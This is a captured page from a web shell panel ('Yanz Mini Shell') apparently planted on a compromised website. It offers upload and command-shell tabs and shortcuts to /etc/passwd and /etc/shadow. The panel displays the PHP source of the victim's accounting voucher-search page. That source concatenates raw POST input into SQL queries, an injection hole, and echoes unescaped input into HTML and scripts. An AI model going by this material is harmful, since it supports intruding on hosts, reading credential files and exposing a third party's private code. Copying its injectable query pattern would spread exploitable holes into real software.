Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); if(isset($_POST['search']) || isset($_POST['filter'])){ if($_POST['vnumb']==''){$svnum=' ';} else{$svnum="`vnumb` = '".@$_POST['vnumb']."' AND ";} if($_POST['vtype']==''){$svtype=' ';} else{$svtype="`vtype` = '".@$_POST['vtype']."' AND ";} if($_POST['descp']==''){$sdescp=' ';} else{$sdescp="`descp` LIKE '%".@$_POST['descp']."%' AND ";} if($_POST['vdate_from']==''){$svdate_from=' ';} else{$svdate_from="`vdate` >= '".@$_POST['vdate_from']."' AND ";} if($_POST['vdate_to']==''){$svdate_to=' ';} else{$svdate_to="`vdate` <= '".@$_POST['vdate_to']."' AND ";} if($_POST['debit']==''){$sdebit=' ';} else{$sdebit="`debit` = '".@$_POST['debit']."' AND ";} if($_POST['crdit']==''){$scrdit=' ';} else{$scrdit="`crdit` = '".@$_POST['crdit']."' AND ";} if($_POST['acc_nm']==''){$sacc_nm=' ';} else{$sacc_nm="`acc_nm` = '".@$_POST['acc_nm']."' AND";} if($_POST['order_by']==''){$order_by=' ';} else{$order_by=" order by ".@$_POST['order_by'];} if($_POST['sort_by']==''){$sort_by=' ';} else{$sort_by=" ".@$_POST['sort_by'];} if(@$_POST['group_by']==''){$group_by=' ';} else{$group_by=" Group By vnumb";} if($_POST['pnt']=='*'){$pnt=' ';} else{$pnt=" `pnt` = '".@$_POST['pnt']."' AND";} $filter=$group_by.$order_by.$sort_by; $where="where ".$svnum.$svtype.$svdate_from.$svdate_to.$sdescp.$sdebit.$scrdit.$sacc_nm.$pnt." del='n'"; }else{ $where=" where del='n'"; $filter=" "; } if(isset($_POST['vdate_to'])){ $todate=$_POST['vdate_to']; }else{ $todate=date('Y-m-d'); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content="ProFinance"> <meta name="keyword" content=""> <title>Search Voucher</title> <script src="assets/js/now.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <script src="admin/ajax/js/del.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script type="text/javascript" src="assets/js/gritter-conf.js"></script> <style> .adv_row{ display:none; } .contain_search { background: #ffffff; padding: 10px 25px 10px 25px; border: 1px solid #e2e2e2; } .adv_search { margin: 10px 10px 10px 10px; font-weight: bold; cursor:pointer; } .adv_search i { position: absolute; margin-left: 5px; top: 50%; } .fa-sort-asc{ transform: translateY(-25%) !important; } .fa-sort-desc{ transform: translateY(-60%); } .contain_filter { background: #ffffff; padding: 10px 25px 10px 25px; border: 1px solid #e2e2e2; margin-top:20px; } .head_row_fix { margin-right: -25px; margin-left: -25px; margin-top: -10px; background: #d9534f; margin-bottom: 10px; color: #ffffff; } .custom_box { background: white; margin-top: 18px; line-height: 18px; border: 1px solid #ccc; padding-left: 10px } .custom_box input { width: max-content !important; display: inline-block; margin:0; vertical-align: text-bottom; } .custom_box p { width: max-content; display: inline-block; margin: 0; line-height: 32px; } </style> </head> <body> <section id="container"> <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <section id="main-content"> <section class="wrapper"> <div id="title"> <div class="row"> <div class="col-sm-12"> <h1>Search Voucher</h1> </div> </div> </div> <div class="row" style="margin:0 1em;"> <!--Search bar fields--> <form class="form" action="v_srch.php" method="POST"> <div class="contain_search"> <div class="row head_row_fix"> <div class="col-sm-12 adv_search"> Advance Search <i class="fa fa-sort-desc" aria-hidden="true"></i> </div> </div> <div class="row"> <div class="col-sm-2">Date From: <input type="date" name="vdate_from" class="form-control" value="<?php echo @$_POST['vdate_from'];?>" required> </div> <div class="col-sm-2">Date To: <input type="date" name="vdate_to" class="form-control" value="<?php echo $todate;?>" required> </div> <div class="col-sm-3">Voucher Type: <select class="form-control" name="vtype"> <option value="">Type</option> <?php $sql_v="select vtype, descp from `".$MySQL_database."`.vtyp order by descp"; $v_query=mysqli_query($connection,$sql_v); while($vtype=mysqli_fetch_assoc($v_query)){ if($vtype['vtype']==@$_POST['vtype']){ $selected=" selected "; }else{ $selected=" "; } print"<option value=\"".$vtype['vtype']."\" ".$selected.">".$vtype['descp']."</option>"; } ?> </select> </div> <div class="col-sm-3">Account: <select class="form-control focus" name="acc_nm"> <option value="">All</option> <?php $sql_vch="select acc_nm, title from `".$MySQL_database."`.acc_mast order by title"; $vch_query=mysqli_query($connection,$sql_vch); while($acc=mysqli_fetch_assoc($vch_query)){ if($acc['acc_nm']==@$_POST['acc_nm']){ $selected2=" selected "; }else{ $selected2=" "; } print"<option value=\"".$acc['acc_nm']."\" ".$selected2.">".$acc['title']."</option>"; } ?> </select> </div> <div class="col-sm-2">. <input type="submit" class="btn btn-danger" name="search" value="Search" /> </div> <div class="clearfix"></div> </div> <div class="row adv_row"> <div class="col-sm-2">Voucher #: <input type="text" name="vnumb" id="vnumb" class="form-control" value="<?php echo @$_POST['vnumb'];?>" placeholder="Voucher #"> </div> <div class="col-sm-4">Description: <input type="text" name="descp" id="descp" class="form-control" value="<?php echo @$_POST['descp'];?>" placeholder="Description"> </div> <div class="col-sm-2">Debit: <input type="text" name="debit" id="debit" class="form-control" value="<?php echo @$_POST['debit'];?>" placeholder="Debit"> </div> <div class="col-sm-2">Credit: <input type="text" name="crdit" id="crdit" class="form-control" value="<?php echo @$_POST['crdit'];?>" placeholder="Credit"> </div> <div class="clearfix"></div> </div> </div> <div class="contain_filter"> <div class="row"> <div class="col-sm-2">Order by: <select class="form-control focus" name="order_by" required> <option value="acc_nm">Account Title</option> <option value="vdate">Voucher Date</option> <option value="vnumb" selected>Voucher Number</option> <option value="vtype">Voucher Type</option> <option value="debit">Debit Amount</option> <option value="crdit">Credit Amount</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['order_by']?>'; if (post_value != '') { $("select[name='order_by'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-sm-2">Sort by: <select class="form-control focus" name="sort_by" required> <option value="asc">Ascending Order</option> <option value="desc">Descending Order</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['sort_by']?>'; if (post_value != '') { $("select[name='sort_by'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-sm-2">Print Status: <select class="form-control focus" name="pnt" required> <option value="*">All</option> <option value="n">Unprinted</option> <option value="y">Printed</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['pnt']?>'; if (post_value != '') { $("select[name='pnt'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-sm-4"> <div class="custom_box"> <p>Show Voucher as single row: </p> <?php if(@$_POST['group_by']=='yes'){ $checked=" checked"; }else{ $checked=" "; };?> <input type="checkbox" name="group_by" value="yes" <?php echo $checked;?>/> </div> </div> <div class="col-sm-2">. <button type="submit" class="btn btn-primary btn-block" name="filter" value="filter"> <i class='fa fa-sort-amount-desc'> </i> Filter</button> </div> </div> </div> </form> <!--Search bar fields--> <div class="col-md-12" style="margin-top:1em;"> <table class="table table-striped table-advance table-hover"> <thead> <tr class="table_header"> <th><button class="btn-default btn-xs bulk_print"><i class=" fa fa-print"></i></button></th> <th class="col-sm-2"><i class=" fa fa-money"></i> Account Title</th> <th class="col-sm-2"><i class="fa fa-calendar"></i> Date</th> <th class="col-sm-1"><i class="fa fa-ticket"></i> Voucher</th> <th class="col-sm-1"><i class="fa fa-tasks"></i> Type</th> <th class="col-sm-3"><i class="fa fa-edit"></i> Description</th> <th class="col-sm-1"><i class="fa fa-money"></i> Debit</th> <th class="col-sm-1"><i class=" fa fa-money"></i> Credit</th> <th class="col-sm-1"><i class=" fa fa-cog"></i> Action</th> </tr> </thead> <tbody> <?php $sql2="select id,vdate,vnumb,vtype,descp,debit,crdit,acc_nm,pnt from `".$MySQL_database."`.acc_trans ". $where.$filter; $query2=mysqli_query($connection,$sql2); while($trans=mysqli_fetch_assoc($query2)) { $sql1="select title from `".$MySQL_database."`.acc_mast where acc_nm='".$trans['acc_nm']."'"; $query1=mysqli_query($connection,$sql1); $mast=mysqli_fetch_assoc($query1); if($trans['pnt']=='n' || $trans['pnt']=='N'){ $print_button_colour = "danger"; }else{ $print_button_colour = "success"; } print" <tr> <td><input type=\"checkbox\" class=\"print_check\" data-vnumb='".$trans['vnumb']."' value=\"\" name=\"\" /></td> <td><a href=\"ledger_parameters.php?acc_nm=";echo $trans['acc_nm'];print"\" title=\"View Ledger\">"; echo $mast['title']; print"</a></td> <td>"; echo date('d-M-Y', strtotime($trans['vdate'])); print"</td> <td>"; echo $trans['vnumb']; print"</td> <td><span class=\"label label-info label-mini\" style=\"text-transform:uppercase;\">"; echo $trans['vtype']; print"</span></td> <td>"; echo $trans['descp']; print"</td> <td>"; echo number_format($trans['debit']); print"</td> <td>"; echo number_format($trans['crdit']); print" </td> <td> <!-- <a href=\"e_vch.php?vnum="; echo $trans['vnumb']; print"\"><button class=\"btn btn-primary btn-xs\"><i class=\"fa fa-pencil\"></i></button></a> <button class=\"btn btn-danger btn-xs\" data-toggle=\"modal\" data-target=\"#myModal"; echo $trans['id']; print"\"><i class=\"fa fa-trash-o \"></i></button> --> <a href=\"onscreen/voucher.php?vnumb=";echo $trans['vnumb'];print"\" target=\"blank\" title=\"Print Voucher\"><button class=\"btn btn-".$print_button_colour." btn-xs\"><i class=\"fa fa-print\"></i></button></a> </td> <!-- Modal --> <div class=\"modal fade\" id=\"myModal"; echo $trans['id']; print"\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"> <div class=\"modal-dialog\"> <div class=\"modal-content\"> <div class=\"modal-header\"> <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">×</button> <h4 class=\"modal-title\" id=\"myModalLabel\">Delete Voucher No: "; echo $trans['vnumb']; print"?</h4> </div> <div class=\"modal-body\">Are you sure you want to delete this ("; echo $trans['vtype']; print")? </div> <div class=\"modal-footer\"> <button type=\"button\" id=\""; echo $trans['vnumb']; print"\" class=\"btn btn-default del\" >Delete</button> <button type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\">Cancel</button> </div> </div> </div> </div> </tr>";}?> </tbody> </table> </div><!-- /col-md-12 --> </div><!-- /row --> </section> <!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!--footer start--> <footer class="site-footer"> <div class="text-center"> <?php echo date("Y");?> - ProFinance <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <script type="text/javascript"> window.onbeforeunload = function() { //unchecked your check box here. $(".print_check[type='checkbox']").prop('checked', false) }; var vnumb=[]; $(document).on('click','.print_check', function(){ if($(this).is(":checked")){ vnumb.push($(this).data("vnumb")); $("input[data-vnumb='"+$(this).data("vnumb")+"']").each(function(){ $(this).prop("checked",true); }); }else{ vnumb.splice( $.inArray($(this).data("vnumb"), vnumb), 1 ); $("input[data-vnumb='"+$(this).data("vnumb")+"']").each(function(){ $(this).prop("checked",false); }); } console.log(vnumb); }) //bulk voucher print ------------------------ $(document).on('click', '.bulk_print', function() { $voucher=vnumb.toString(); location.href='onscreen/voucher.php?vnumb='+$voucher; /* var w = window.open(); w.document.write($('#data').html()); //only part of the page to print, using jquery w.document.close(); //this seems to be the thing doing the trick w.focus(); w.print(); w.close();*/ }); //bulk voucher print ------------------------ $(document).on('click', '.adv_search', function() { $(".adv_row").toggle(); $(".adv_search i").toggleClass("fa-sort-asc"); if($(".adv_row").css("display")!="block"){ $("#vnumb").val(""); $("#descp").val(""); $("#crdit").val(""); $("#debit").val(""); } }); $( document ).ready(function() { if($("#vnumb").val()!="" || $("#descp").val()!="" || $("#crdit").val()!="" || $("#debit").val()!=""){ $(".adv_row").css("display","block"); $(".adv_search i").addClass("fa-sort-asc"); } }); </script> </body> </html>
Free Space : 77942767616 Byte